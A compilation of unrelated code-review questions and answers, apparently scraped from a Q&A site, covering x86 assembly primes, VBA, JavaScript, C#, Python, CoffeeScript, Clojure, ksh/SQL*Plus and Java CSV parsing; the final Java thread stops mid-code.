Printing prime numbers in Assembly I am learning to code in the Assembly language for the x86 architecture. I currently know of a few registers and certain arithmetic operations like add, sub, inc, dec, mov and to check for conditionality using certain jump statements. I am using some "ready-baked" code for input and output. The input - call_hex reads hex from the input and stores it in the eax register and the output - print_eax just prints whatever is in the eax. I am no programmer per se, my end goal is to understand enough assembly to start picking up other things like exploit development. The code below is an exercise to print prime numbers. I know the code I have below could look downright ugly. But if you were rating the code, how much would I get on a scale of 1 to 10, 10 being the highest.

; A prime number is an integer that is divisible only by 1 and by itself.
; A program that takes a number n as input, and prints back to the console all the    primes that are larger than 1 but not larger than n.

format PE console
entry start

include 'win32a.inc'

; ===============================================
section '.text' code readable executable

start:
    ; Your program begins here:

    ; Division Operations -
    ;eax <- edx:eax/arg
    ;edx <- edx:eax % arg

    call    read_hex

lb2:
    dec     eax
    jz      exit
    jmp     prime_check

prime_check:

    ; The check for whether 2 is a prime is done separately here
    mov     ecx, eax
    sub     ecx, 2
    jz      is_prime

    mov     ecx, eax        ; eax will be overwritten, hence need to store it someplace else to recover it
    mov     edx, 0          ; initialing the edx:eax registers
    mov     ebx, 2

lb1:
    dec     eax             ; The 3 lines of code are there cause I need a way to exit the program, when eax inside this block is 1.
    jz      exit            ; This seems to be an easy fix. Although downright inelegant
    inc     eax
    div     ebx
    mov     eax, ecx
    sub     edx, 1
    jc      lb2             ; The case where number isnt prime
    mov     eax, ecx        ; re-initialing the edx:eax registers
    mov     edx, 0          ; re-initialing the edx:eax registers
    inc     ebx
    sub     ecx, ebx
    jz      is_prime
    mov     ecx, eax
    jmp     lb1

is_prime:
    call    print_eax
    jmp     lb2

exit:
    ; Exit the process:
    push    0
    call    [ExitProcess]

include 'training.inc'

This code can be much improved.

The jmp prime_check is superfluous.

The comment ; The check for whether 2 is a prime is done separately here is wrong because it actually jumps to is_prime when n=3 due to the dec eax used at lb2.
Also checking for 2 is usually done with cmp eax,2 and je is_prime.

If you cleared EDX (with xor edx,edx) after lb1: you wouln't have to write it 2 times.

Why don't you replace that downright inelegant code with cmp eax,1 and je exit?

The usual way to test if EDX is zero is to use test edx,edx and jz lb2.


Grab data from one sheet and insert/format it into another sheet I have code that runs and does what I want it to do with the click of the command button, however when executing, it runs very slow.

The code grabs data from one sheet and inserts/formats it into another sheet in two separate tables that have been converted into range. I did this because I need to automatically update two different graphs with certain data.

I'm still new with VBA coding and any kind of direction or help to make the code run faster is appreciated or ways to remove unnecessary code since it is probably longer than it needs to be.

Public Sub Button1_Click() ' Update Button

Application.DisplayAlerts = False
Application.ScreenUpdating = False

Dim lastRowPart As Long
Dim lastRowCW As Long
Dim lastRowQty As Long
Dim lastRowQtyLeft As Long
Dim lastRowDescrip As Long
Dim i, j, k As Integer
Dim IO As Worksheet: Set IO = Sheets("Inventory Overview")
Dim TD As Worksheet: Set TD = Sheets("Trend Data")

'1. Copies and formats data

lastRowPart = IO.Cells(Rows.count, "F").End(xlUp).Row
lastRowDescrip = IO.Cells(Rows.count, "G").End(xlUp).Row
lastRowQtyLeft = IO.Cells(Rows.count, "O").End(xlUp).Row
lastRowQty = IO.Cells(Rows.count, "I").End(xlUp).Row
lastRowCW = IO.Cells(Rows.count, "L").End(xlUp).Row

TD.Cells.UnMerge ' reset***

j = 2
k = 2
For i = 2 To lastRowCW
If IO.Cells(i, "L").Value = "Unknown" Then
    TD.Cells(j, "G").Value = IO.Cells(i, "L").Value
    TD.Cells(j, "H").Value = IO.Cells(i, "F").Value
    TD.Cells(j, "I").Value = IO.Cells(i, "I").Value
    TD.Cells(j, "J").Value = IO.Cells(i, "O").Value
    TD.Cells(j, "K").Value = IO.Cells(i, "G").Value
    j = j + 1
Else
    TD.Cells(k, "A").Value = IO.Cells(i, "L").Value
    TD.Cells(k, "B").Value = IO.Cells(i, "F").Value
    TD.Cells(k, "C").Value = IO.Cells(i, "I").Value
    TD.Cells(k, "D").Value = IO.Cells(i, "O").Value
    TD.Cells(k, "E").Value = IO.Cells(i, "G").Value
    k = k + 1
End If
Next

' Autofit
TD.range("B1:B" & lastRowPart).Columns.AutoFit
TD.range("E1:E" & lastRowDescrip).Columns.AutoFit
TD.range("H1:H" & lastRowPart).Columns.AutoFit
TD.range("K1:K" & lastRowDescrip).Columns.AutoFit

'2. Sort Cells
Dim LastRow As Long
LastRow = TD.Cells(Rows.count, 5).End(xlUp).Row

With TD.Sort  ' sorts data from A to Z
 .SetRange TD.range("A2:E" & LastRow)
 .Header = xlGuess
 .MatchCase = False
 .Orientation = xlTopToBottom
 .SortMethod = xlPinYin
 .Apply
End With

'3. Merge CW Cells
' rngMerge = range for parts reworked/left with known CW
' URngMerge = range for parts reported with unknown CW

Dim rngMerge As range, URngMerge As range, cell As range, lastRowMerge As   Long, ULastRowMerge As Long
lastRowMerge = TD.Cells(Rows.count, 1).End(xlUp).Row
ULastRowMerge = TD.Cells(Rows.count, 7).End(xlUp).Row
Set rngMerge = TD.range("A1:A" & lastRowMerge)
Set URngMerge = TD.range("G1:G" & ULastRowMerge)

MergeAgain:
For Each cell In rngMerge
    If cell.Value = cell.Offset(1, 0).Value And IsEmpty(cell) = False Then
        range(cell, cell.Offset(1, 0)).Merge
        GoTo MergeAgain
End If
Next

MergeAgain2:
For Each cell In URngMerge
If cell.Value = cell.Offset(1, 0).Value And IsEmpty(cell) = False Then
    range(cell, cell.Offset(1, 0)).Merge
    GoTo MergeAgain2
End If
Next

Application.DisplayAlerts = True
Application.ScreenUpdating = True

End Sub

Nice job, you dceclared all your variables and your variable names are pretty descriptive. One thing is

Dim i, j, k as Integer

This only has k as Integer, they other two are Variants. You need to type them all:
Dim i as Long, Dim j as Long, Dim k as Long

I went with Long type because integers are obsolete. According to msdn VBA silently converts all integers to long.
One nitpick is Dim LastRow As Long - Standard VBA naming conventions have camelCase for local variables and PascalCase for other variables and names. So lastRow.
You also have rngMerge and UrngMerge - maybe be more descriptive in those names.
Always turn on Option Explicit. You can have it automatically by going to Tools -> Options in the VBE and checking the Require Variable Declaration option. This way if you have any variables not defined, the compiler will let you know.
Worksheets have a CodeName property - View Properties window (F4) and the (Name) field (the one at the top) can be used as the worksheet name. This way you can avoid Sheets("Trend Data") and instead just use TrendData.
I don't know what happened to your formatting, but your indenting isn't showing up as expected. It's good practice to indent all of your code that way Labels will stick out as obvious. You actually have 2 labels that are pretty well hidden.

Speaking of your labels

MergeAgain:
    For Each cell In rngMerge
        If cell.Value = cell.Offset(1, 0).Value And IsEmpty(cell) = False Then
            Range(cell, cell.Offset(1, 0)).Merge
            GoTo MergeAgain
        End If
    Next

MergeAgain2:
    For Each cell In URngMerge
        If cell.Value = cell.Offset(1, 0).Value And IsEmpty(cell) = False Then
            Range(cell, cell.Offset(1, 0)).Merge
            GoTo MergeAgain2
        End If
    Next

That's a strange way to do this looping.
For j = LastRow To startrow Step -1
    If (.Cells(j, col) = .Cells(j + 1, col)) And Not IsEmpty(.Cells(j, col)) Then .Range(.Cells(j, col), .Cells(j + 1, col)).Merge
Next

No reason to use labels if there's a better way to do it.
You see when you use a boolean function like IsEmpty, you don't need to test its value specifically because the If is looking for True or False already.
Speed
The only way to really gain speed here is to pull your data into arrays and do your operations on those, then spit out entire arrays to the sheet.
I'm not entirely sure of your goal with .Merge but they are your natural enemy. Trust me. It would be better to group the cells and .HorizontalAlignment = xlHAlignCenterAcrossSelection


Immutable ES7 global state store I am quite an experienced developer but I am quite new to JS/frontend/functional programming and I am working with react-native in my day-job now.

I'm trying to do my own flux implementation to better understand redux. My goal is to have a performant data store that will behave predictably. This solution seems to be working for me, but will become slower the longer the app runs.

I've looked at using immutable.js and lodash but I'm not sure it's necessary. I've also considered using a mutable currentState variable and only merging the changes since the last call to getState() and then resetting i.e changes = [] and updating currentState. I'd also like some opinions on my use of a promise in the getState function.

export default class Session {

  static changes = []

  static getState() {
    return new Promise((resolve, reject) => {
      resolve(this.changes.reduce((a, x) => Object.assign(a,x),{}))
    })
  }

  static update(value) {
    this.changes.push(value)
  }

  static showChanges() {
    this.changes.forEach((x)=> console.log(x))
  }
}

Object.defineProperty(Session, 'changes',{
  writable: false,
  enumerable: true
})

Interesting question:

As per @jfriend00, using a promise is odd there. Your repaint might work out, but in essence JS runs .reduce() single threaded, there really is not a lot of value there
Your Session is not immutable, it keeps updating the changes list
All your methods are static, I would have expected an "Immutable" class with session as in instance of the Immutable class
I would inside your class indeed maintain a mutable object that is up to date ( so a call to update would result in an update of both changes and say an object called state ) Since your class is mutable by having changes, you might as well go all the way.
I like mutable.js, in that there is no such thing as getState(), you would get the new state from calling update. This way you can update the data and have the state in 1 line.

All in all, even after reading the whole immutable.js page, I don't see the point. If truly your goal is to have A performant data store that will behave predictably., then a plain old Vanilla Object should do.


Calculating primes until a user-given value I am new to C# programming. I wrote a little program in C# to calculate all primes until a user-given value. Ignoring the lack of computing power I wrote this program to handle theoretically very huge numbers.

The code works properly. I have no error handling simply because it is a little program for myself. But I'd like some suggestions about error handling. :)

Can you give me suggestions to improve the code? Maybe even to make it faster?

using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;

namespace ConsolePrimes
{
    public static class Program
    {
        public static void Main(string[] args)
        {
            Console.WriteLine("Up to which number shall all primes be calculated?");
            string inputvar = Console.ReadLine();
            ulong inputnumber = Convert.ToUInt64(inputvar);
            var primes = new List<ulong>();
            primes.Add(2);
            primes.Add(3);
            bool isprime = false;
            double result = 0;
            for (ulong i = 4; i<inputnumber; i++)
            {
                isprime = true;
                foreach (ulong prime in primes)
                {
                    result = i % prime;
                    if (result == 0)
                    {
                        isprime = false;
                        break;
                    }
                }
                if (isprime == true)
                {
                    primes.Add(i);
                }
            }
            int numberofprimes = primes.Count;
            Console.WriteLine("The Range from 0 to " + inputvar + " has " + Convert.ToString(numberofprimes) + " primes.");
            Console.WriteLine("The list of all primes is now getting exported to \"primes.txt\".");
            TextWriter tw = new StreamWriter("primes.txt");
            foreach (ulong nr in primes)
            {
               tw.WriteLine(nr);
            }
            tw.Close();
            Console.ReadLine();
        }
    }
}

So this is a curious writeup, because primes can be calculated in many, many ways.

That said, there's one huge optimization we can use to cut your search pattern in half, and it starts here:

for (ulong i = 4; i<inputnumber; i++)
{

Fun fact: the only prime even number is 2, so we can actually rewrite this very quickly to remove half of the numbers you need to search:

for (ulong i = 5; i<inputnumber; i += 2)
{

Bam. Cut our search grid in half.

The next thing I would do is remove 2 from the List<ulong> of results, and we'll insert it later, because that will never match any of the values we're searching now:

var primes = new List<ulong>();
primes.Add(3);
...
primes.Insert(0, 2);

That way we get another speed boost, without sacrificing any of the rest of our code. (Are there better ways to do this? Sure.)

Next, we need to talk about some "best practices" and such:

Console.WriteLine("The Range from 0 to " + inputvar + " has " + Convert.ToString(numberofprimes) + " primes.");

This is something we call "string concatenation", basically, string1 + string2. It's frowned upon, and we recommend not doing it. Instead, use a formatted string, in one of two ways:

Console.WriteLine("The Range from 0 to {0} has {1} primes.", inputvar, numberofprimes);
Console.WriteLine($"The Range from 0 to {inputvar} has {numberofprimes} primes.");

Either will work, though the second is only supported in C# 6.0.

Next, there's one more huge optimization to make, and it's at this line:

double result = 0;

You don't realize it, but there's a boatload of casting/conversions here that shouldn't exist. Replace double with ulong and it goes away.

What's happening, is i % prime is a ulong, that is being casted to a double when assigned to result. This is an expensive operation, because the two types are stored in memory in completely different formats. Change the type, and you should get a 50%+ speed boost. (At least, I did.)

Additionally, you don't really need result, you don't use it for anything. So, I recommend removing it, and rewriting the foreach as follows:

for (ulong i = 5; i < inputnumber; i += 2)
{
    isprime = true;
    foreach (ulong prime in primes)
    {
        if (i % prime == 0UL)
        {
            isprime = false;
            break;
        }
    }
    if (isprime == true)
    {
        primes.Add(i);
    }
}

This gives you another speed boost, surprisingly.

Lastly, I recommend initializing the List with a default buffer. This should help avoid "resizing" that happens throughout the lifetime of the program. I used 500000, but as long as you use something reasonable (even 10000 is fine) it will give you a decent performance boost. (1-2%)

Overall, when we're done, the algorithm should look something like:

var primes = new List<ulong>(10000);
primes.Add(3);
bool isprime = false;
for (ulong i = 5; i < inputnumber; i += 2)
{
    isprime = true;
    foreach (ulong prime in primes)
    {
        if (i % prime == 0UL)
        {
            isprime = false;
            break;
        }
    }
    if (isprime == true)
    {
        primes.Add(i);
    }
}
primes.Insert(0, 2);
int numberofprimes = primes.Count;


Basic BrainFuck interpreter I was bored, so I wrote a BrainFuck interpreter in Python. It essentially takes input for the amount of cells, then parses the inputted code through a series of if statements.

# Simple BrainFuck interpreter
from sys import exit

# Main interpreter function
def interpreter(cell_amount):
    step = 0
    cell = [0] * cell_amount
    cell_pos = 0
    loop = False
    loop_ret = 0

    code_input = raw_input('Code: ')
    steps = len(code_input)

    while True:

        if code_input[step] == '+':
            cell[cell_pos] += 1

        elif code_input[step] == '-':
            cell[cell_pos] -= 1

        elif code_input[step] == '>':
            cell_pos += 1

        elif code_input[step] == '<':
            cell_pos -= 1

        elif code_input[step] == '[':
            if loop == False:
                loop_ret = step
                loop = True

        elif code_input[step] == ']':
            if cell[cell_pos] != 0:
                step = loop_ret
            elif cell[cell_pos] == 0:
                loop = False

        elif code_input[step] == '.':
            print str(cell[cell_pos])

        elif code_input[step] == ',':
            cell[cell_pos] = int(raw_input())

        step += 1

        if step == steps:
            exit(0)

interpreter(int(raw_input('Cell amount: ')))

Now, it works, with one small issue: loops can't be nested. I'd like a few things to be improved about it.

Read code from a text file instead of stdin.
Better system than a chain of if/elif/else statements.
Be able to nest loops.

This being Python, it should be relatively easy to present the illusion of an infinite tape, at least in the positive direction.  I don't see reason that cell_amount has to be specified, and the user shouldn't have to worry about such details.

Your input and output routines are wrong:

The . instruction should print one character, interpreting the cell value as an ASCII code.  Instead, you print the cell value as a base-10 number, followed by Newline.
The , instruction should read one character, storing its ASCII code as the cell value.  Instead, you read a string, and try to parse it as an integer.

while True: … is a lie.  What you really mean is while step < steps: ….  Then you can get rid of the if step == steps: exit(0) at the end of the loop.


Wator planet program I am working on optimizing a Wator program. I have a specific question about code, if you are familiar with it. There is a function which takes most of the time. I need your help to improve this particular part of the code.

 // find all neighbouring cells of the given position that contain an animal of the given type
public int GetNeighbors(Type type, Point position) {

  int neighborIndex;
  int i, j;

  // counter for the number of cells of the correct type
  neighborIndex = 0;
  // look up
  i = position.X;
  j = (position.Y + Height-1)%Height;
  // if we look for empty cells (null) we don't have to check the type using instanceOf
  if ((type == null) && (Grid[i, j] == null)) {
    neighbors[neighborIndex] = new Point(i, j);
    neighborIndex++;
  } else if ((type != null) && (type.IsInstanceOfType(Grid[i, j]))) {
    // using instanceOf to check if the type of the animal on grid cell (i/j) is either a shark of a fish
    // animals that moved in this iteration onto the given cell are not considered
    // because the simulation runs in discrete time steps
    if ((Grid[i, j] != null) && (!Grid[i, j].Moved)) {
      neighbors[neighborIndex] = new Point(i, j);
      neighborIndex++;
    }
  }
  // look right
  i = (position.X + 1) % Width;
  j = position.Y;
  if ((type == null) && (Grid[i, j] == null)) {
    neighbors[neighborIndex] = new Point(i, j);
    neighborIndex++;
  } else if ((type != null) && (type.IsInstanceOfType(Grid[i, j]))) {
    if ((Grid[i, j] != null) && (!Grid[i, j].Moved)) {
      neighbors[neighborIndex] = new Point(i, j);
      neighborIndex++;
    }
  }
  // look down
  i = position.X;
  j = (position.Y + 1) % Height;
  if ((type == null) && (Grid[i, j] == null)) {
    neighbors[neighborIndex] = new Point(i, j);
    neighborIndex++;
  } else if ((type != null) && (type.IsInstanceOfType(Grid[i, j]))) {
    if ((Grid[i, j] != null) && (!Grid[i, j].Moved)) {
      neighbors[neighborIndex] = new Point(i, j);
      neighborIndex++;
    }
  }
  // look left
  i = (position.X + Width - 1) % Width;
  j = position.Y;
  if ((type == null) && (Grid[i, j] == null)) {
    neighbors[neighborIndex] = new Point(i, j);
    neighborIndex++;
  } else if ((type != null) && (type.IsInstanceOfType(Grid[i, j]))) {
    if ((Grid[i, j] != null) && (!Grid[i, j].Moved)) {
      neighbors[neighborIndex] = new Point(i, j);
      neighborIndex++;
    }
  }

        return neighborIndex;
    }

The first thing that I see when I look at your code is that it is UGLY.  I appreciate it doesn't affect how well the code works, but it does affect how easy it is to read and if it is hard to read then you are more likely to miss important issues.  When you come back to this code in three months it will be like you are new to it.  So my first recommendation is adopt a common style for the language you are using and make sure you stick to it.  Look at other people's C# code on here, yours looks more like Java than C#.
You have defined neighbourIndex at the top and assigned an initial value to it a few lines later.  It is a good idea to always assign a value to a variable when you declare it.  To be honest this is less important in C# that C++, but you can still get in nasty situations when you assume an object has been assigned a value and it hasn't.
You have used a nice, descriptive name like neighbourIndex and then gone and used i and j.  If I have read the code correctly these are the x and y co-ordinates of a cell.  So why not use x and y?  Also since you have already used the Point class would it not be a good idea to use the Point class to store i and j in?
In C#, as far as I understand, there is no difference in the speed of execution of x++ and ++x, but in other languages with other compilers this may not be the case (C++ for instance) so I would recommend that if you are doing x++; you get into the habit of doing ++x; because this can sometime be faster for non simple data types.  HOWEVER in this case it would be better to do
neighbors[neighborIndex++] = new Point(i, j);
I agree with user673679 that there could be a significant amount of optimisation here, you are doing something very similar 4 times, that should scream out to you to be optimised.

And finally a positive, your code is littered with comments and that is brilliant, keep it up.  If you decide to make any changes then remember to check that your comments still make sense.  Also finish the job off with a nice descriptive comment at the top of the functions to explain what the function does, what the parameters are, what ranges they take and what the function returns.  If you really want to go all out, describe the expected pass and fail conditions so that it becomes easy to write tests for the function.

Hope that helps


Express, blade with connect-assets I have this CoffeeScript code running here (with TZM-Blade) and would like to have your opinion on how to better optimize it.

express = require "express"
gzippo = require "gzippo"
assets = require "connect-assets"
jsPaths = require "connect-assets-jspaths"
stylus = require "stylus"
blade = require "blade"
i18n = require "i18next"
http = require "http"
https = require "https"
fs = require "fs"
json = ""

#### Application initialization
# Create app instance.
app = express()

# Define Port
app.port = process.env.PORT or process.env.VMC_APP_PORT or process.env.VCAP_APP_PORT or 3000

# Config module exports has `setEnvironment` function that sets app settings depending on environment.
config = require "./config"
app.configure "production", "development", "testing", ->
  config.setEnvironment app.settings.env

# i18next init
i18n.init
  detectLngQS: "lang"
  ,ns: { namespaces: ['ns.common', 'ns.layout'], defaultNs: 'ns.common'}
  ,resSetPath: "./locales/__lng__/new.__ns__.json"
  ,ignoreRoutes: ["images/", "public/", "css/", "js/"]
  #,locales:['de', 'en', 'fr', 'pt']
  ,extension:".json"
  #,saveMissing: true
  #,sendMissingTo: 'all'
  ,debug: true

#### View initialization
# Add Connect Assets.
app.use assets(build : true)
jsPaths assets, console.log

# Set the public folder as static assets.
app.use gzippo.staticGzip(process.cwd() + "/assets")
app.use gzippo.staticGzip(process.cwd() + "/public")
app.use express.favicon(process.cwd() + "/public/images/favicon.ico")
app.use express.logger('dev')
# Set the nowjs folder as static assets and locales for i18next
app.use gzippo.staticGzip(process.cwd() + "/nowjs")
app.use gzippo.staticGzip(process.cwd() + "/locales")
app.use gzippo.staticGzip(process.cwd() + "/data/topo")

# Set Blade View Engine and tell Express where our views are stored
app.set "view engine", "blade"
app.set "views", process.cwd() + "/views"

try
  app.set "chapters", require(process.cwd() + "/data/chapters.json")
  app.set "languages", require(process.cwd() + "/locales/config.json")
  app.set "translation", require(process.cwd() + "/locales/dev/translation.json")
catch e
  console.warn "files not found: " + e
  app.set "chapters", []
  app.set "languages", []
  app.set "translation", []
  next()
  return

# [Body parser middleware](http://www.senchalabs.org/connect/middleware-bodyParser.html) parses JSON or XML bodies into `req.body` object
app.use express.bodyParser()

app.use i18n.handle
app.use blade.middleware(process.cwd() + "/views")
app.use app.router

#### Finalization
# Register i18next AppHelper so we can use the translate function in template
i18n.registerAppHelper(app)

# Initialize routes
routes = require "./routes"
app.locals.pretty=true
routes(app)

# Export application object
module.exports = app

Get rid of all those commas:

i18n.init
  detectLngQS: "lang"
  ,ns: { namespaces: ['ns.common', 'ns.layout'], defaultNs: 'ns.common'}
  ,resSetPath: "./locales/__lng__/new.__ns__.json"
  ,...

CoffeScript doesn't need them:

i18n.init
  detectLngQS: "lang"
  ns: { namespaces: ['ns.common', 'ns.layout'], defaultNs: 'ns.common'}
  resSetPath: "./locales/__lng__/new.__ns__.json"


Idiomatic Clojure? Performant & functional enough? Problem

Disclaimer: This is my first clojure function & I'm still busy finishing the last chapters of "Programming Clojure". Thanks! :)

I am writing a function to randomly flood-fill parts of a game's map (i.e. this is not a traditional flood-fill that can recursively fill all available space). The idea is to create a random-shaped island, and inside that island create a random-shaped mountain. (i.e. pass the set of island points as a filter to the next flood fill function, so the mountain will be created only within the island's tiles).

This is what my code currently produces (You'll notice the window / drawing code stolen from the snake game in PragProg's Programming Clojure. ;))

Clojure Style

This is my code:

(def dirs2 '([-1 0] [1 0] [0 -1] [0 1]))

(defn neighbours [pt]
  (for [dir dirs2]
    (vec (map + pt dir))))

(defn flood-fill2
  "start -> point to start filling from
   n -> number of tiles to create
   filter-fn -> a fn that must return true for new points"
    ([start n]
      (flood-fill2 start n (fn [& _] true)))
    ([start n filter-fn]
     (loop [result #{}
      candidates #{start}
      i n]
      (if (or (zero? i) (empty? candidates))
        result
        (let [current (rand-nth (seq candidates))]
          (if (and (filter-fn current) (not (result current)))
            (recur
              (conj result current)
              (apply conj (disj candidates current) (neighbours current))
              (dec i))
            (recur result (disj candidates current) i)))))))

Is this idiomatic clojure code? The loop construct in there feels like standard iterative code I learned to write in Java / C++. Do you see a shorter way to write this?
Could I implement this as a lazy-seq somehow? (take 600 (lazy-fill [25 25] optional-src-set)) looks much cooler than (flood-fill2 [25 25] 600 island).
I tried to write an anonymous function that returns true for any argument(s) using this notation #() but had to eventually give up and wrote it using fn: (fn [& _] true). Could I have used #() somehow?

Performance

My intial (naive) implementation looked like this:

(defn flood-fill [filled n]
  (if (zero? n)
    filled
    (let [start-point (rand-nth filled)
      next-point (rand-nth (neighbours start-point))]
      (if (contains? (set filled) next-point)
        (recur filled n)
        (recur (cons next-point filled) (dec n))))))

But:

user=> (time (flood-fill [[25 25]] 1250))
(time (flood-fill [[25 25]] 1250))
"Elapsed time: 8430.56 msecs"
([8 18] [43 40] [23 9] [38 40] ...

My flood-fill2 does much better:

user=> (time (flood-fill2 [25 25] 1250))
(time (flood-fill2 [25 25] 1250))
"Elapsed time: 257.361 msecs"
#{[34 33] [35 34] [36 3] [36 35] [38 5] [10 9] ...

But using (time (flood-fill2 [500 500] 500000)) to fill 50% of a 1000 * 1000 tiles map takes forever (@ 100% CPU). I ended up killing that REPL.

Any performance suggestions? I tried to avoid many conversions from Sets to Vectors/Lists, but rand-nth needs a sequence and I couldn't find a nice "random set element" function.

Thanks for reading all of this.

I am a journeyman myself in clojure, and I don't have answers for all of your questions, but I have some input.

I am not sure I fully understand your algorithm, but it seems you really have two loops rolled in to one. You have an inner loop looking for what could be the next tile to paint (without counting i), and an outer loop actually filling pixels and counting i down from n. Maybe it could be clearer if you separated these two somehow.

And since you choose candidates on random, it will be random how long it takes for you to fill n tiles.

I have found that when I do:

(loop [result ()
       input input-seq]
    (let [item (computation input)]
        (recur (conj result item) (rest input)))

It can often be re-written as:

(reduce computation input-seq)

(But I can't immediately see if this applies to your function)

Have you considered implementing this using a 2d array of tiles, instead of a list of coordinates?

A couple of other issues:

you can create a function which always returns true with: (constantly true)
I really like the use of (for (map +)) for vector addition, but you can use (mapv) instead of (vector (map))


Parsing Oracle errors with a ksh function Some time ago I wrote a small routine to run some quick n' dirty queries (and with that I mean it is not used for large queries) against an Oracle DB, but also wanted to do it a bit easier to parse errors.

# Executes the query
#
# Will execute a query contained in the variable named
# in the parameter $4 and store the result in the variable
# named in $5.
# In case of errors (even SQL related) the function should
# exit with status 1, making it possible to "if execQuery".
#
# @param    $1 = User
#           $2 = Pasword
#           $3 = Tns Alias
#           $4 = Name of the variable containing the query
#           $5 = Name of the variable to hold the result
#
# @return   query execution status
function execQuery {
    typeset eSQLU=$1
    typeset eSQLP=$2
    typeset eSQLS=$3
    typeset etQUERY=$4
    eval typeset eQUERY=\$$etQUERY
    typeset eQRES=$5
    logMessageFile "DEBUG" "Query: $eQUERY"

    typeset res=$(sqlplus -s $eSQLU/$eSQLP@$eSQLS <<EOF
set echo off newpage 0 space 0 pagesize 0 feed off head off verify off lines 999
WHENEVER SQLERROR EXIT 1
$eQUERY
exit;
EOF
)
    [[ $? -gt 0 ]] && return 1 || eval "$eQRES=\"$res\""

}

The idea of this function is that later I could do something like:

query="select sysdate from dual;"
if execQuery $RAID_APP_PI_USR $RAID_APP_PI_PWD $RAID_APP_PI_SID query result ; then
    echo $result
    logMessageFile "INFO" "Inserts into XX successful."
else
    logMessageFile "ERROR" "Error insertando XXX."
fi

It kinda works. A properly written query will do it fine, and the result variable is all correctly evaluated and all. The problem are the errors. If the query in that example was something like select * potato potato;, It'd still not yield the correct return value thus missing the error test.

I'm not particularly good with SQL*Plus nor ksh and am probably just missing something obvious. Could someone lend me a hand here?

It seems like you might find this clause helpful:

WHENEVER SQLERROR EXIT SQL.SQLCODE


Fast merge sort in JavaScript When developing a user interface that allows sorting by various different fields, I noticed that Array.prototype.sort() is extremely slow for large inputs. After some investigation, I found out that the problem was that my compare function was being called upwards of 8.5 million times for an input array of length 7500. If you ask me, that looks like \$O(n^2)\$ behavior. To address this, I decided to implement a merge sort.

Although I have tested my code and it appears to be working properly, it would still be helpful to have some other people look at it and see if there is more room for improvement or if it misbehaves in some subtle or pathological cases.

var mergesort = function (array, /* optional */ cmp) {
    /*
        Merge sort.
        On average, two orders of magnitude faster than Array.prototype.sort() for
        large arrays, with potentially many equal elements.
        Note that the default comparison function does not coerce its arguments to strings.
    */

    if (cmp === undefined) {
        // Note: This is not the same as the default behavior for Array.prototype.sort(),
        // which coerces elements to strings before comparing them.
        cmp = function (a, b) {
            'use asm';
            return a < b ? -1 : a === b ? 0 : 1;
        };
    }

    function merge (begin, begin_right, end) {
        'use asm';
        // Create a copy of the left and right halves.
        var left_size = begin_right - begin, right_size = end - begin_right;
        var left = array.slice(begin, begin_right), right = array.slice(begin_right, end);
        // Merge left and right halves back into original array.
        var i = begin, j = 0, k = 0;
        while (j < left_size && k < right_size)
            if (cmp(left[j], right[k]) <= 0)
                array[i++] = left[j++];
            else
                array[i++] = right[k++];
        // At this point, at least one of the two halves is finished.
        // Copy any remaining elements from left array back to original array.
        while (j < left_size) array[i++] = left[j++];
        // Copy any remaining elements from right array back to original array.
        while (k < right_size) array[i++] = right[k++];
        return;
    }

    function msort (begin, end) {
        'use asm';
        var size = end - begin;
        if (size <= 8) {
            // By experimentation, the sort is fastest when using native sort for
            // arrays with a maximum size somewhere between 4 and 16.
            // This decreases the depth of the recursion for an array size where
            // O(n^2) sorting algorithms are acceptable.
            var sub_array = array.slice(begin, end);
            sub_array.sort(cmp);
            // Copy the sorted array back to the original array.
            for (var i = 0; i < size; ++i)
                array[begin + i] = sub_array[i];
            return;
        }

        var begin_right = begin + (size >> 1);

        msort(begin, begin_right);
        msort(begin_right, end);
        merge(begin, begin_right, end);
    }

    msort(0, array.length);

    return array;
};

[...] it misbehaves in some subtle or pathological cases.

I may have identified a pathological case...

Caveat When Using Bitwise Shifting

This pertains to the following line:

var begin_right = begin + (size >> 1);

Using bitwise shifting to efficiently multiply or divide by a factor of two carries a risk when extremely large numbers are involved. size >> 1 will stop behaving predictably when size exceeds 2147483647.

This is fine if you don't expect to be sorting arrays of such magnitude, but you might as well double that range by using an unsigned bitwise shift (>>>), allowing you to shift any positive number up to 4294967295.

If you want to be safe with arrays even longer than that, you can use Math.floor(size/2) although that will negatively impact performance.

Here's a fiddle to demonstrate: http://jsfiddle.net/akxbLej5/1/


Parsing CSV file with BufferedReader vs Scanner I have to parse a file line-by-line and in single line I have split by ",". The first string is the name and the second is the count.

Finally, I have to display the Key and Count, for example:

Peter,2
Smith,3
Peter,3
Smith,5

I should display as Peter 5 and Smith 8.

I confused about choosing between BufferedReader vs Scanner.  I went through this link and came up with these two approaches. I would like to get your reviews.

BufferedReader

private HashMap<String, MutableLong> readFile(File file) throws IOException {
    final HashMap<String, MutableLong> keyHolder = new HashMap<>();
    try (BufferedReader br = new BufferedReader(new InputStreamReader(
            new FileInputStream(file), "UTF-8"))) {
        for (String line; (line = br.readLine()) != null;) {
            // processing the line.
            final String[] keyContents = line
                    .split(KeyCountExam.COMMA_DELIMETER);
            if (keyContents.length == 2) {
                final String keyName = keyContents[0];
                final long count = Long.parseLong(keyContents[1]);
                final MutableLong keyCount = keyHolder.get(keyName);
                if (keyCount != null) {
                    keyCount.add(count);
                    keyHolder.put(keyName, keyCount);
                } else {
                    keyHolder.put(keyName, new MutableLong(count));
                }
            }

        }
    }
    return keyHolder;
}

private static final String COMMA_DELIMETER = ",";
private static volatile Pattern commaPattern = Pattern.compile(COMMA_DELIMETER);

I have used MutableLong, since I don't want to create a BigInteger each time. Again, it may be a very big file and I don't have control on how max a key can occur.
Scanner and two delimiters

private static final String LINE_SEPARATOR_PATTERN = "\r\n|[\n\r\u2028\u2029\u0085]";
private static final String LINE_PATTERN = ".*(" + LINE_SEPARATOR_PATTERN
        + ")|.+$";
private static volatile Pattern linePattern = Pattern.compile(LINE_PATTERN);

I have went through the hasNext in Scanner, and to me, there is no harm in switching the Pattern. And I believe from Java 7, Scanner does have a limited buffer and can be enough for this kind of file.

Does anyone prefer Approach 2 over Approach 1, or do we have any other option than this?  I just did sop for testing purpose. Obviously the same code in approach 1 would replace here. Using split in Approach 1 would create multiple String instances, which can be avoided here, by scanning a char sequence.

private HashMap<String, BigInteger> readFileScanner(File file)
            throws IOException {
        final HashMap<String, BigInteger> keyHolder = new HashMap<>();
        try (Scanner br = new Scanner(file, "UTF-8")) {
            while (br.hasNext()) {
                br.useDelimiter(commaPattern);
                System.out.println(br.next());
                System.out.println(br.next());
                br.useDelimiter(linePattern);
            }
        }
